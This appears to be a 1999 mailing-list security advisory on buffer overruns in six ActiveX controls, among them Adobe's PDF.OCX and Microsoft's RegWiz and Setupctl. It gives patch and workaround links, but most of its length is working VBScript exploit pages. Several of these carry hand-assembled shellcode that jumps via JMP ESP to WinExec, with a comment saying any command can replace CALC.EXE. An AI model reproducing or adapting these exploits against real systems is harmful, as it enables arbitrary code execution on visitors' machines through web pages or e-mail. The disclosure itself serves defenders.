ActiveX Buffer Overruns

[s.hird () STUDENT QUT EDU AU (Shane Hird)]

ActiveX Buffer Overruns Advisory

Note: This advisory had been posted to the VULN-DEV list some time ago, as I
had been having trouble posting to Bugtraq. I have decided to repost to this
list as more people tend to read this list than the other. I have tried
numerous times to post to this list, so please excuse if this has been
posted multiple times.

Disclaimer: I'm not responsible for anything, unless it's good.

This advisory outlines several buffer overruns in several controls, and the
vulnerability of ActiveX controls to buffer overrun attacks in general. It
appears that the ActiveX/OLE/COM technology in general does no buffer checks
before passing parameters to controls, leaving the checking up to the
control in question. Hence, many poorly written controls are individually
susceptible to buffer overrun attacks, independent of the environment they
are controlled from, and other controls on the system. The following
controls are probably just a few of the vulnerable controls which are in
common use, including one control from a third party vendor (Adobe). Because
these controls are marked as safe for scripting, they may be exploited
through IE through a web page, E-mail, or anywhere else where 'safe' ActiveX
controls may be scripted (ie some newsgroup readers and other E-mail
clients)

Known Affected Controls:

Acrobat Control for ActiveX   - PDF.OCX       v1.3.188
Setupctl 1.0 Type Library     - SETUPCTL.DLL  v1, 1, 0, 6
EYEDOG OLE Control module     - EYEDOG.OCX    v1.1.1.75
MSN ActiveX Setup BBS Control - SETUPBBS.OCX  v4.71.0.10
hhopen OLE Control Module     - HHOPEN.OCX    v1, 0, 0, 1
RegWizCtrl 1.0 Type Library   - REGWIZC.DLL   v3, 0, 0, 0

Each control contains at least one method, which does incorrect handling of
strings, and when manipulating a string too large, a classic buffer overrun
can occur, allowing arbitrary code to be executed on the client.

Future creators of ActiveX controls may be interested in the following link
before releasing any 'safe' controls.
http://msdn.microsoft.com/workshop/components/activex/security.asp

Protection:

Microsoft has been notified of these exploits around a month ago, and have
released a patch to revoke the hhopen, regwiz and setupctl controls, and a
previous patch has been released for Eyedog.
http://www.microsoft.com/Security/Bulletins/ms99-037.asp

For the other controls, and any others found to be vulnerable, see Microsoft
knowledge base article Q240797 on how to stop an ActiveX control from
running in IE. If pain persists, disable ActiveX scripting altogether in IE.

How to Stop an ActiveX Control from Running in Internet Explorer
http://support.microsoft.com/support/kb/articles/q240/7/97.asp

Details:

For each exploit, we have full control of the RET address, knowing where to
RET to in order to execute our code is easier for some controls than others.
For the controls where no known fixed or referenced location of the code can
be found, I will simply RET to ExitProcess, although it is still possible
but more difficult to execute arbitrary code. For the exploits which are
easy to RET to the code, I will demonstrate how to execute a program
(CALC.EXE) using fixed API locations in Win98, you will need to modify these
addresses depending on the versions in use. For the exploits, similar to a
couple other Win exploits, a JMP ESP is required to get to the code. I
didn't manage to find one in Kernel32 or IExplore, however there does appear
to be one in Shell32 (version 4.72.3110.6) at (7FD035EB), you will also need
to modify this address depending on your version. So if you get a crash at
around this address, then it is most likely possible to run the exploit, the
address just needs to be changed. It should be noted that arbitrary code may
be executed, not just running a program, this is just an example.

===============================================================
EYEDOG:

With this control, MSInfoLoadFile is the offending method. There is no easy
way to RET to our code, so instead, I have shown how to simply RET to
ExitProcess directly. This will cause the host to terminate.

<object classid="clsid:06A7EC63-4E21-11D0-A112-00A0C90543AA"
id="eye"></object>

<script language="vbscript"><!--

msgbox("EYEDOG OLE Control module Buffer Overrun (Local Version)" + Chr(10)
+ "Written by Shane Hird")

'Padding for the exploit
expstr =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

'RET address (ExitProcess, BFF8D4CA)
expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

'Call exploitable method (MSInfoLoadFile)
eye.MSInfoLoadFile(expstr)

--></script>

===============================================================
HHOPEN:

This control is a little more difficult to exploit, as the RET address is in
the middle of the string, and once again there is no easy way to RET to our
code, so I have RET'd to ExitProcess directly instead. In this case,
OpenHelp is the vulnerable method, and the exploit is possible when the
method is called with a valid help file, and a long Help Section.

<object
   classid="clsid:130D7743-5F5A-11D1-B676-00A0C9697233"
 id="hhopen"></OBJECT>

<script language="vbscript"><!--

msgbox("hhopen OLE Control Module Buffer Overrun" + Chr(10) + "Written By
Shane Hird")

expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

'Where the RET address appears to be, RET to ExitProcess (BFF8D4CA)
expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

'Extra padding to trigger the overrun
expstr = expstr +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

'Call exploitable method, note the valid help file
hhopen.OpenHelp "Winhlp32.hlp", expstr

--></script>

===============================================================
SETUPBBS:

When this control is initialised, it will display a prompt notifying the
user that the control is capable of modifying Mail and News configuration
etc and asks the user whether he/she wishes the control to proceed. This
control is exploitable through two different methods, vAddNewsServer and
bIsNewsServerConfigured. I have simply RET'd to ExitProcess with this
exploit, although there are other possibilities.

<object
   classid="clsid:8F0F5093-0A70-11D0-BCA9-00C04FD85AA6"
 id="setupbbs"></OBJECT>

<script language="vbscript"><!--

msgbox("MSN Setup BBS Buffer Overrun" + Chr(10) + "Written by Shane Hird")

expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA"

'RET address (ExitProcess BFF8D4CA)
expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

'This buffer overrun can be triggered by either method.
'setupbbs.vAddNewsServer expstr, true
setupbbs.bIsNewsServerConfigured expstr

--></script>

===============================================================
PDF

This control from Adobe Acrobat, can be exploited through the setview
method, and because ESP points to the address after the RET address, we can
place arbitrary code at this point and JMP to it by RET'ing to a JMP ESP, in
this case, one found in Shell32. The code simply executes CALC.EXE then
calls ExitProcess to terminate the host without it crashing. I have
attempted to notify Adobe of the issue, however they don't appear to have
any form of direct secure@ address.

<object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000"
id="pdf"></object>

<script language="VBscript"><!--

msgbox("Adobe Acrobat OCX Buffer Overrun" + Chr(10) + "Written by Shane
Hird")

expstr =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA"

expstr = expstr + Chr(235)      'Address in SHELL32, Win98 (7FD035EB) of JMP ESP
expstr = expstr + Chr(53)       'You may need to use a different address
expstr = expstr + Chr(208)
expstr = expstr + Chr(127)

'Stack is slightly trashed, but NOPs fix it up ok
expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144) + Chr(144)

'MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

'ADD EDI, 19 (Size of code)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

'PUSH EAX (Window Style EAX = 1)
expstr = expstr + Chr(80)

'PUSH EDI (Address of command line)
expstr = expstr + Chr(87)

'MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)

'PUSH EAX
expstr = expstr + Chr(80)

'MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'Replace with any command + 0 (automatically appended)
expstr = expstr + "CALC.EXE"

'Call exploitable method
pdf.setview(expstr)

--></script>

===============================================================
SETUPCTL

Apparently a control that was once used for the IE update web site which is
no longer in use, although it should still exist on a lot of systems. With
this exploit, similar to the PDF exploit, ESP points to our code so we
simply RET to the same JMP ESP in Shell32. Also, this exploit differs in
that we set a property first (DistUnit) with the long string, then call the
method (InstallNow). Again, I have simply demonstrated how to execute
CALC.EXE, though any code can be executed.

<object classid="clsid:F72A7B0E-0DD8-11D1-BD6E-00AA00B92AF1" id =
"setupctl">
</object>

<script language="vbscript"><!--

msgbox("Setupctl 1.0 Type Library Buffer Overrun" + Chr(10) + "Written by
Shane Hird")

expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA"

expstr = expstr + Chr(235)      'Address in SHELL32, Win98 (7FD035EB) of JMP ESP
expstr = expstr + Chr(53)       'You may need to use a different address
expstr = expstr + Chr(208)
expstr = expstr + Chr(127)

'NOP for debugging purposes
expstr = expstr + Chr(144)

'MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

'ADD EDI, 19h (Size of code)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

'PUSH EAX (Window Style EAX = 41414141)
expstr = expstr + Chr(80)

'PUSH EDI (Address of command line)
expstr = expstr + Chr(87)

'MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)

'PUSH EAX
expstr = expstr + Chr(80)

'MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'Replace with any command + 0 (automatically appended)
expstr = expstr + "CALC.EXE"

'Run exploit
setupctl.DistUnit = expstr
setupctl.InstallNow

--></script>

===============================================================
REGWIZC

The Registration Wizard control used by Microsoft to register MS products
also contains a buffer overrun in the 'InvokeRegWizard' method. When called
with a long string, pre-pended with '/i', we can gain control of the RET
address and exploit the control in a similar manner as the PDF control. This
exploit will cause a 'Regwiz.log' file to be created in the temporary
directory, and once again will execute CALC.EXE and terminate the host.

<object classid="clsid:50E5E3D1-C07E-11D0-B9FD-00A0249F6B00" id="RegWizObj">
</object>

<script language="VbScript" ><!--

msgbox("Registration Wizard Buffer Overrun" + Chr(10) + "Written by Shane
Hird")

expstr = "/i
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA"

'We overflowed to the RET point of the stack
'No NULL's allowed so ret to <JMP ESP> in Shell32

expstr = expstr & Chr(235)      'Address in SHELL32, Win98 (7FD035EB) of JMP ESP
expstr = expstr & Chr(53)       'You may need to use a different address
expstr = expstr & Chr(208)
expstr = expstr & Chr(127)

'NOP for debugging purposes
expstr = expstr + Chr(144)

'MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

'ADD EDI, 19 (Size of code)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

'PUSH EAX (Window Style EAX = 41414141)
expstr = expstr + Chr(80)

'PUSH EDI (Address of command line)
expstr = expstr + Chr(87)

'MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)

'PUSH EAX
expstr = expstr + Chr(80)

'MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'Replace with any command + 0 (automatically appended)
expstr = expstr + "CALC.EXE"

RegWizObj.InvokeRegWizard(expstr)

--></script>

===============================================================

Sorry for the length of this advisory, but as there are several exploits,
and probably many more, it was necessary. It should be noted, that not only
MS ActiveX controls are susceptible, but also many other vendors controls. I
cannot possibly go through all the controls which are available to the
public, but the controls which are installed by default on most systems are
obviously the most serious.

-Shane Hird <s.hird () student qut edu au>
 First year IT student at QUT, Brisbane, Australia. Sponsors?